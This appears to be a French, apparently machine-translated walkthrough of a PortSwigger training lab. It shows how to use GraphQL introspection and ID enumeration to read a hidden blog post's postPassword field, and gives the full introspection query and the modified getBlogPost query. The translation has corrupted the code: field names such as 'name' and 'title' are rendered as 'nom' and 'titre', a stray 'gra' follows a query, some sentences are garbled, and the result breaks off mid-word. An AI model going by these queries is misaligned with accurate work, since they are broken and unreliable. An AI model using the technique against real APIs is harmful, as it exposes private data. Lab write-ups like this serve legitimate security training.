> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/graphql/accessing-private-graphql-posts.md).

# Accès aux publications GraphQL privées

Notes sur l’accès aux publications GraphQL privées pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Accès aux publications GraphQL privées

#### Objectif du labo

La page du blog contient un article **caché** (non répertorié) contenant un **mot de passe secret**. Pour valider le labo, vous devez **trouver cet article privé** puis **soumettre le mot de passe**.

### 1) Reconnaissance du trafic GraphQL

À l’arrivée sur la page principale du blog, une requête GraphQL est envoyée en arrière-plan (via l’ **Réseau** ou **onglet Burp**  ) :

* Point de terminaison : `POST /GraphQL/v1`
* Opération : `getBlogSummaries`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-415a7728bbf837af962ec0a4d8d95a80b610dcbc%2F%7BEB412B60-B633-49D1-86BA-53EC78F6A3F7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Exemple de requête interceptée :

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Cette requête renvoie les publications visibles et leurs `id`. Il est noté que la liste contient des pages/articles **1, 2, 4 et 5**, mais que **l’échec à le faire 3** → très bon indicateur d’une publication **privée / cachée**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b86e44b25b417c4568797e39943c06f0e51db71%2F%7B0E2CA78B-2D08-49FF-B002-E2652D6856CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Récupération d’un article par ID

Lorsque vous ouvrez un article, l’application envoie une autre requête qui récupère le contenu complet à partir de l’ID :

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Cela confirme que nous pouvons **énumérer** les publications en modifiant `variables.id`.

#### 3) Introspection pour découvrir le schéma

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbba38edd02952f9481352e8c3527aa183af8a02%2F%7B558A8362-702C-42E2-8F59-9D0688737640%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pour voir toutes les propriétés disponibles, nous utilisons la**requête d’introspection** (par ex. via **InQL**, **l’onglet GraphQL** , ou une charge utile standard) :

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            nom
        }
        mutationType {
            nom
        }
        subscriptionType {
            nom
        }
        types {
            ...FullType
        }
        directives {
            nom
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nom
    description
    fields(includeDeprecated: true) {
        nom
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nom
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nom
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nom
    ofType {
        kind
        nom
        ofType {
            kind
            nom
            ofType {
                kind
                nom
            }
        }
    }
}gra
```

Réponse : **200 OK**, très volumineux (plus de 1000 lignes).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edd28bbe614a3c2fef2f17c125b15a087eb80185%2F%7B3A6E2487-642B-428F-99DF-CD12076F0C86%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

L’analyse révèle un champ intéressant : **`postPassword`**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-596fb335b964274cae8ace56fbbdd25a7ce6b5bf%2F%7B7419BEF8-C00F-4996-BB47-E5349B5C3D35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (4) Extraction de l’article caché (ID 3)

Redémarrage `getBlogPost` en ajoutant le `postPassword` champ, puis ciblez l’ID manquant (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            titre
            auteur
            date
            paragraphes
            postPassword
        }
    }
```

Variables :

```json
{
    "id":3
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d69a26eee6bfb12a11e4d72a5d631d7567c23606%2F%7B016514D7-BD55-4469-B1C8-9136E8E8CBEC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Résultat : la réponse contient la valeur de **`postPassword`** → c

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-daa45487548033d22c809695befd1cd5b079c8ee%2F%7B13372169-4EF1-400C-8588-57AF325394FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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